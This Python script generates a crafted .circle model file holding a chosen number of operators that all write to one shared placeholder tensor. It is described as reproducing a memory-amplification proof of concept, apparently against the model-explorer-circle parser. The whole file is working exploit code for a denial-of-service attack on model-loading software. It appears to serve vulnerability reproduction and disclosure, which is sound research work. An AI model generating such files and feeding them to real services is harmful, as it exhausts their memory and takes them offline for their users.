#!/usr/bin/env python3
"""Generates a structurally parseable .circle model containing N operators,
each with an explicit empty inputs vector and a single output referencing a
shared placeholder tensor. Used to reproduce the memory-amplification PoC.

Requirements: pip install flatbuffers
The circle_schema_generated module is vendored from model-explorer-circle's
own package (model_explorer_circle/circle_schema_generated.py) -- point
CIRCLE_SCHEMA_MODULE_DIR at a checkout containing that file, or install
model-explorer-circle and import from there directly.

Usage:
    python generate_poc.py <N> <output_path.circle>

Example:
    python generate_poc.py 200000 poc_amplification_test.circle
"""
import sys

try:
    from model_explorer_circle import circle_schema_generated as circle_schema
except ImportError:
    sys.exit(
        "model_explorer_circle not importable. Install it with:\n"
        "    pip install model-explorer-circle==0.1.4\n"
        "or add the vendored circle_schema_generated.py to your path."
    )

import flatbuffers


def build(n: int) -> bytes:
    b = flatbuffers.Builder(max(1024 * 1024, n * 32))

    # One shared placeholder tensor; every operator writes to it as its output.
    name_off = b.CreateString("t")
    circle_schema.TensorStartShapeVector(b, 0)
    shape_v = b.EndVector()
    circle_schema.TensorStart(b)
    circle_schema.TensorAddShape(b, shape_v)
    circle_schema.TensorAddType(b, 0)  # FLOAT32
    circle_schema.TensorAddName(b, name_off)
    tensor_off = circle_schema.TensorEnd(b)

    circle_schema.SubGraphStartTensorsVector(b, 1)
    b.PrependUOffsetTRelative(tensor_off)
    tensors_v = b.EndVector()

    op_offsets = []
    for _ in range(n):
        circle_schema.OperatorStartInputsVector(b, 0)
        inputs_v = b.EndVector()
        circle_schema.OperatorStartOutputsVector(b, 1)
        b.PrependInt32(0)
        outputs_v = b.EndVector()
        circle_schema.OperatorStart(b)
        circle_schema.OperatorAddOpcodeIndex(b, 0)  # -> BuiltinOperator.ADD (0)
        circle_schema.OperatorAddInputs(b, inputs_v)
        circle_schema.OperatorAddOutputs(b, outputs_v)
        op_offsets.append(circle_schema.OperatorEnd(b))

    circle_schema.SubGraphStartOperatorsVector(b, n)
    for off in reversed(op_offsets):
        b.PrependUOffsetTRelative(off)
    operators_v = b.EndVector()

    circle_schema.SubGraphStartInputsVector(b, 0)
    sg_inputs_v = b.EndVector()
    circle_schema.SubGraphStartOutputsVector(b, 0)
    sg_outputs_v = b.EndVector()

    circle_schema.SubGraphStart(b)
    circle_schema.SubGraphAddOperators(b, operators_v)
    circle_schema.SubGraphAddTensors(b, tensors_v)
    circle_schema.SubGraphAddInputs(b, sg_inputs_v)
    circle_schema.SubGraphAddOutputs(b, sg_outputs_v)
    sg = circle_schema.SubGraphEnd(b)

    circle_schema.ModelStartSubgraphsVector(b, 1)
    b.PrependUOffsetTRelative(sg)
    subgraphs_v = b.EndVector()

    circle_schema.OperatorCodeStart(b)
    circle_schema.OperatorCodeAddDeprecatedBuiltinCode(b, 0)  # ADD
    opcode = circle_schema.OperatorCodeEnd(b)
    circle_schema.ModelStartOperatorCodesVector(b, 1)
    b.PrependUOffsetTRelative(opcode)
    opcodes_v = b.EndVector()

    circle_schema.ModelStartBuffersVector(b, 0)
    buffers_v = b.EndVector()

    circle_schema.ModelStart(b)
    circle_schema.ModelAddVersion(b, 3)
    circle_schema.ModelAddOperatorCodes(b, opcodes_v)
    circle_schema.ModelAddSubgraphs(b, subgraphs_v)
    circle_schema.ModelAddBuffers(b, buffers_v)
    m = circle_schema.ModelEnd(b)
    b.Finish(m, file_identifier=b"CIR0")
    return bytes(b.Output())


if __name__ == "__main__":
    if len(sys.argv) != 3:
        sys.exit(__doc__)
    n = int(sys.argv[1])
    out_path = sys.argv[2]
    buf = build(n)
    with open(out_path, "wb") as f:
        f.write(buf)
    print(f"N={n} operators, file size = {len(buf)} bytes ({len(buf) / 1024:.1f} KB) -> {out_path}")